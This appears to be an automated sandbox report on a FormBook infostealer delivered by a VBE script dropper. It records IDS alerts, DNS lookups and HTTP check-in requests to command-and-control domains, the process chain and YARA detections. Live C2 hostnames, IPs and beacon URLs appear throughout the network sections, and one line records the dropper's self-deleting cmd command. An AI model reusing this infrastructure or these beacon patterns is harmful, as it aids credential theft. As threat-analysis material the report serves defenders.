SHA256:	02500b9058612028c5667bfd9302d81184689fcb88eb5500902d39baec246fa0
SHA512:	eb1adad95a1269dd49e202e966b67a8d3867055c1462687596fa47dd133929544a295e2e3b04f8bfe3c87690d241f780f4a1ad75718e462b468007e3e8dd0827
SSDEEP:	12288:WEPXAjdRFEYFexVioNs4tkt4pNVZUAZTklPuAGPm1LEKIV8rrq9bbeQnhG4Shmo9:nPXApEY0ioCUpNV+unrKs869FE5hmo9
TLSH:	F1051263F3431BD91A479EED8A4527F296D0ADEF1816C6F2DF8A061310F45E24D13E2A
File Content Preview:	' Constants for XML and Base64 processing..Const XML_TYPE = "MSXML2.DOMDocument"..Const ELEMENT_TYPE = "text"..Const DATA_TYPE = "bin.base64"....' Declare variables..Dim base64EncodedString, tempFolderPath, executablePath....' Initialize the Base64 encode

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T13:07:33.006686+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	49725	80	192.168.2.5	103.224.182.210
2024-07-26T13:06:31.117213+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	49723	80	192.168.2.5	34.149.86.124
2024-07-26T13:03:59.789400+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49717	52.165.165.26	192.168.2.5
2024-07-26T13:04:29.975873+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	49719	80	192.168.2.5	79.133.41.250
2024-07-26T13:03:47.731358+0200	TCP	2527003	ET Threatview.io High Confidence Cobalt Strike C2 IP group 4	80	49716	198.54.117.242	192.168.2.5
2024-07-26T13:03:48.249330+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	49716	80	192.168.2.5	198.54.117.242
2024-07-26T13:02:59.626273+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	49718	80	192.168.2.5	103.169.142.0
2024-07-26T13:03:21.583205+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49709	52.165.165.26	192.168.2.5
2024-07-26T13:06:10.664892+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	49722	80	192.168.2.5	67.223.118.63
2024-07-26T13:05:50.281197+0200	TCP	2031453	ET MALWARE FormBook CnC Checkin (GET)	49721	80	192.168.2.5	195.35.41.249

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 13:03:47.726411104 CEST	49716	80	192.168.2.5	198.54.117.242
Jul 26, 2024 13:03:47.731358051 CEST	80	49716	198.54.117.242	192.168.2.5
Jul 26, 2024 13:03:47.733870029 CEST	49716	80	192.168.2.5	198.54.117.242
Jul 26, 2024 13:03:47.733885050 CEST	49716	80	192.168.2.5	198.54.117.242
Jul 26, 2024 13:03:47.738805056 CEST	80	49716	198.54.117.242	192.168.2.5
Jul 26, 2024 13:03:48.235761881 CEST	49716	80	192.168.2.5	198.54.117.242
Jul 26, 2024 13:03:48.249126911 CEST	80	49716	198.54.117.242	192.168.2.5
Jul 26, 2024 13:03:48.249330044 CEST	49716	80	192.168.2.5	198.54.117.242
Jul 26, 2024 13:04:08.230381012 CEST	49718	80	192.168.2.5	103.169.142.0
Jul 26, 2024 13:04:08.235224962 CEST	80	49718	103.169.142.0	192.168.2.5
Jul 26, 2024 13:04:08.235306978 CEST	49718	80	192.168.2.5	103.169.142.0
Jul 26, 2024 13:04:08.235335112 CEST	49718	80	192.168.2.5	103.169.142.0
Jul 26, 2024 13:04:08.240098953 CEST	80	49718	103.169.142.0	192.168.2.5
Jul 26, 2024 13:04:08.735759020 CEST	49718	80	192.168.2.5	103.169.142.0
Jul 26, 2024 13:04:08.740252972 CEST	80	49718	103.169.142.0	192.168.2.5
Jul 26, 2024 13:04:08.740272045 CEST	80	49718	103.169.142.0	192.168.2.5
Jul 26, 2024 13:04:08.740369081 CEST	49718	80	192.168.2.5	103.169.142.0
Jul 26, 2024 13:04:08.740386009 CEST	49718	80	192.168.2.5	103.169.142.0
Jul 26, 2024 13:04:08.740685940 CEST	80	49718	103.169.142.0	192.168.2.5
Jul 26, 2024 13:04:08.740838051 CEST	49718	80	192.168.2.5	103.169.142.0
Jul 26, 2024 13:04:29.475842953 CEST	49719	80	192.168.2.5	79.133.41.250
Jul 26, 2024 13:04:29.480638981 CEST	80	49719	79.133.41.250	192.168.2.5
Jul 26, 2024 13:04:29.481951952 CEST	49719	80	192.168.2.5	79.133.41.250
Jul 26, 2024 13:04:29.481951952 CEST	49719	80	192.168.2.5	79.133.41.250
Jul 26, 2024 13:04:29.486736059 CEST	80	49719	79.133.41.250	192.168.2.5
Jul 26, 2024 13:04:29.970160007 CEST	49719	80	192.168.2.5	79.133.41.250
Jul 26, 2024 13:04:29.975830078 CEST	80	49719	79.133.41.250	192.168.2.5
Jul 26, 2024 13:04:29.975872993 CEST	49719	80	192.168.2.5	79.133.41.250
Jul 26, 2024 13:05:29.491038084 CEST	49720	80	192.168.2.5	104.21.29.136
Jul 26, 2024 13:05:29.495985985 CEST	80	49720	104.21.29.136	192.168.2.5
Jul 26, 2024 13:05:29.496244907 CEST	49720	80	192.168.2.5	104.21.29.136
Jul 26, 2024 13:05:29.496283054 CEST	49720	80	192.168.2.5	104.21.29.136
Jul 26, 2024 13:05:29.501847982 CEST	80	49720	104.21.29.136	192.168.2.5
Jul 26, 2024 13:05:29.983182907 CEST	80	49720	104.21.29.136	192.168.2.5
Jul 26, 2024 13:05:29.983217001 CEST	80	49720	104.21.29.136	192.168.2.5
Jul 26, 2024 13:05:29.983288050 CEST	49720	80	192.168.2.5	104.21.29.136
Jul 26, 2024 13:05:29.986320972 CEST	49720	80	192.168.2.5	104.21.29.136
Jul 26, 2024 13:05:29.991242886 CEST	80	49720	104.21.29.136	192.168.2.5
Jul 26, 2024 13:05:49.773926973 CEST	49721	80	192.168.2.5	195.35.41.249
Jul 26, 2024 13:05:49.778831005 CEST	80	49721	195.35.41.249	192.168.2.5
Jul 26, 2024 13:05:49.778902054 CEST	49721	80	192.168.2.5	195.35.41.249
Jul 26, 2024 13:05:49.778940916 CEST	49721	80	192.168.2.5	195.35.41.249
Jul 26, 2024 13:05:49.784460068 CEST	80	49721	195.35.41.249	192.168.2.5
Jul 26, 2024 13:05:50.267174006 CEST	49721	80	192.168.2.5	195.35.41.249
Jul 26, 2024 13:05:50.281117916 CEST	80	49721	195.35.41.249	192.168.2.5
Jul 26, 2024 13:05:50.281197071 CEST	49721	80	192.168.2.5	195.35.41.249

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 13:03:47.440092087 CEST	63250	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:03:47.725677013 CEST	53	63250	1.1.1.1	192.168.2.5
Jul 26, 2024 13:04:07.986484051 CEST	54960	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:04:08.229626894 CEST	53	54960	1.1.1.1	192.168.2.5
Jul 26, 2024 13:04:27.964199066 CEST	54790	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:04:28.954454899 CEST	54790	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:04:29.475148916 CEST	53	54790	1.1.1.1	192.168.2.5
Jul 26, 2024 13:04:29.475163937 CEST	53	54790	1.1.1.1	192.168.2.5
Jul 26, 2024 13:05:08.768634081 CEST	63358	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:05:09.212642908 CEST	53	63358	1.1.1.1	192.168.2.5
Jul 26, 2024 13:05:29.221997023 CEST	54259	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:05:29.489697933 CEST	53	54259	1.1.1.1	192.168.2.5
Jul 26, 2024 13:05:49.596071005 CEST	49316	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:05:49.773336887 CEST	53	49316	1.1.1.1	192.168.2.5
Jul 26, 2024 13:06:10.116986990 CEST	53757	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:06:10.163721085 CEST	53	53757	1.1.1.1	192.168.2.5
Jul 26, 2024 13:06:30.550052881 CEST	53968	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:06:30.595186949 CEST	53	53968	1.1.1.1	192.168.2.5
Jul 26, 2024 13:06:50.970854998 CEST	63434	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:06:51.010611057 CEST	53	63434	1.1.1.1	192.168.2.5
Jul 26, 2024 13:07:11.898164034 CEST	61911	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:07:12.005621910 CEST	53	61911	1.1.1.1	192.168.2.5
Jul 26, 2024 13:07:32.158236027 CEST	55057	53	192.168.2.5	1.1.1.1
Jul 26, 2024 13:07:32.465130091 CEST	53	55057	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 13:03:47.440092087 CEST	192.168.2.5	1.1.1.1	0x6d4d	Standard query (0)	www.tateshades.xyz	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:04:07.986484051 CEST	192.168.2.5	1.1.1.1	0xaf9a	Standard query (0)	www.gyosei-arimura.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:04:27.964199066 CEST	192.168.2.5	1.1.1.1	0x16bd	Standard query (0)	www.ashleymorgan.live	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:04:28.954454899 CEST	192.168.2.5	1.1.1.1	0x16bd	Standard query (0)	www.ashleymorgan.live	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:05:08.768634081 CEST	192.168.2.5	1.1.1.1	0xfb71	Standard query (0)	www.gv031.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:05:29.221997023 CEST	192.168.2.5	1.1.1.1	0x6b26	Standard query (0)	www.rendamaisbr.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:05:49.596071005 CEST	192.168.2.5	1.1.1.1	0x5f92	Standard query (0)	www.especialistaleitura.online	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:10.116986990 CEST	192.168.2.5	1.1.1.1	0x87de	Standard query (0)	www.rtproketslotcsn.art	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:30.550052881 CEST	192.168.2.5	1.1.1.1	0x8497	Standard query (0)	www.exploringtheoutdoors.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:50.970854998 CEST	192.168.2.5	1.1.1.1	0xc4c3	Standard query (0)	www.invigoratewell.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:07:11.898164034 CEST	192.168.2.5	1.1.1.1	0x611e	Standard query (0)	www.legalix.xyz	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:07:32.158236027 CEST	192.168.2.5	1.1.1.1	0xbb21	Standard query (0)	www.21stcut.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 13:03:47.725677013 CEST	1.1.1.1	192.168.2.5	0x6d4d	No error (0)	www.tateshades.xyz		198.54.117.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:04:08.229626894 CEST	1.1.1.1	192.168.2.5	0xaf9a	No error (0)	www.gyosei-arimura.com		103.169.142.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:04:29.475148916 CEST	1.1.1.1	192.168.2.5	0x16bd	No error (0)	www.ashleymorgan.live	ashleymorgan.live		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:04:29.475148916 CEST	1.1.1.1	192.168.2.5	0x16bd	No error (0)	ashleymorgan.live		79.133.41.250	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:04:29.475163937 CEST	1.1.1.1	192.168.2.5	0x16bd	No error (0)	www.ashleymorgan.live	ashleymorgan.live		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:04:29.475163937 CEST	1.1.1.1	192.168.2.5	0x16bd	No error (0)	ashleymorgan.live		79.133.41.250	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:05:09.212642908 CEST	1.1.1.1	192.168.2.5	0xfb71	Name error (3)	www.gv031.net	none	none	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:05:29.489697933 CEST	1.1.1.1	192.168.2.5	0x6b26	No error (0)	www.rendamaisbr.com		104.21.29.136	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:05:29.489697933 CEST	1.1.1.1	192.168.2.5	0x6b26	No error (0)	www.rendamaisbr.com		172.67.149.56	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:05:49.773336887 CEST	1.1.1.1	192.168.2.5	0x5f92	No error (0)	www.especialistaleitura.online	especialistaleitura.online		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:05:49.773336887 CEST	1.1.1.1	192.168.2.5	0x5f92	No error (0)	especialistaleitura.online		195.35.41.249	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:10.163721085 CEST	1.1.1.1	192.168.2.5	0x87de	No error (0)	www.rtproketslotcsn.art	rtproketslotcsn.art		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:06:10.163721085 CEST	1.1.1.1	192.168.2.5	0x87de	No error (0)	rtproketslotcsn.art		67.223.118.63	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:30.595186949 CEST	1.1.1.1	192.168.2.5	0x8497	No error (0)	www.exploringtheoutdoors.net	host.websitepro.hosting		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:06:30.595186949 CEST	1.1.1.1	192.168.2.5	0x8497	No error (0)	host.websitepro.hosting		34.149.86.124	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:51.010611057 CEST	1.1.1.1	192.168.2.5	0xc4c3	No error (0)	www.invigoratewell.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:06:51.010611057 CEST	1.1.1.1	192.168.2.5	0xc4c3	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:51.010611057 CEST	1.1.1.1	192.168.2.5	0xc4c3	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:51.010611057 CEST	1.1.1.1	192.168.2.5	0xc4c3	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:06:51.010611057 CEST	1.1.1.1	192.168.2.5	0xc4c3	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:07:12.005621910 CEST	1.1.1.1	192.168.2.5	0x611e	Server failure (2)	www.legalix.xyz	none	none	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:07:32.465130091 CEST	1.1.1.1	192.168.2.5	0xbb21	No error (0)	www.21stcut.shop		103.224.182.210	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.tateshades.xyz

www.gyosei-arimura.com

www.ashleymorgan.live

www.rendamaisbr.com

www.especialistaleitura.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	198.54.117.242	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:03:47.733885050 CEST	160	OUT	GET /de94/?iH=L48pdJnx&jBZ=KxdOA0Mo1WZhrruLdWg4BGjiUazPRKkva+c6BVUkR9pg9lvbFJGOvuIlGrqlewJrvTBn HTTP/1.1 Host: www.tateshades.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49718	103.169.142.0	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:04:08.235335112 CEST	164	OUT	GET /de94/?jBZ=DixB1qykAeF3P3PXJeHdSknPWO1HgPnInxoSQIfAm9wP6zKJEe36YOPFRPwN1ZbEVsUi&iH=L48pdJnx HTTP/1.1 Host: www.gyosei-arimura.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 13:04:08.740252972 CEST	765	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 26 Jul 2024 11:04:08 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 26 Jul 2024 12:04:08 GMT Location: https://www.gyosei-arimura.com/de94/?jBZ=DixB1qykAeF3P3PXJeHdSknPWO1HgPnInxoSQIfAm9wP6zKJEe36YOPFRPwN1ZbEVsUi&iH=L48pdJnx expect-ct: max-age=86400, enforce x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block referrer-policy: strict-origin-when-cross-origin Server: cloudflare CF-RAY: 8a93e83e3c204362-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49719	79.133.41.250	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:04:29.481951952 CEST	163	OUT	GET /de94/?iH=L48pdJnx&jBZ=5tT0wx6F9dDlvd0I7/Gf0Z876YhP5UCSCTQNI7gCLgEp6gs1sNLPrbs4iKZbSyW3sHh4 HTTP/1.1 Host: www.ashleymorgan.live Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49720	104.21.29.136	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:05:29.496283054 CEST	161	OUT	GET /de94/?jBZ=oGEpRlg+OmPq0B7KIcYot+ASNw6YPmukejZMyF938WrRMvUmELkE1jbD5t8azbvrsm6P&iH=L48pdJnx HTTP/1.1 Host: www.rendamaisbr.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 26, 2024 13:05:29.983182907 CEST	734	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 11:05:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MAbLK1QdlRV6LTBnBQHP4GMtosATTCpVjiz%2F%2B8enYj6c8u0AHIppOl0xFo2qiVuQVaotmCVNuMU9HCRRoMoShzJFVrl5VcK8YiriQ5ZaRymFb5cMcNjDMhOkipfaQtZ83MDb%2F%2FPM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a93ea39e95042c0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.22.1</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	195.35.41.249	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:05:49.778940916 CEST	172	OUT	GET /de94/?iH=L48pdJnx&jBZ=2R5LA04AgrrHOF4dber2AYa+4EXsdsXp9ugXIfcwTjx7QxDViEac/VVT3dt/yVkMwVF8 HTTP/1.1 Host: www.especialistaleitura.online Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Target ID:	0
Start time:	07:03:01
Start date:	26/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TNS71092E68UI0.vbe"
Imagebase:	0x7ff6c78b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	07:03:09
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\HHhHh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\HHhHh.exe"
Imagebase:	0x320000
File size:	574'464 bytes
MD5 hash:	62FA567CBB7227AEB7755B679D780725
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	07:03:10
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\HHhHh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\HHhHh.exe"
Imagebase:	0x7c0000
File size:	574'464 bytes
MD5 hash:	62FA567CBB7227AEB7755B679D780725
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Target ID:	5
Start time:	07:03:10
Start date:	26/07/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff674740000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	07:03:13
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\wscript.exe"
Imagebase:	0x9b0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate
Has exited:	false

Target ID:	7
Start time:	07:03:17
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\AppData\Local\Temp\HHhHh.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	07:03:17
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true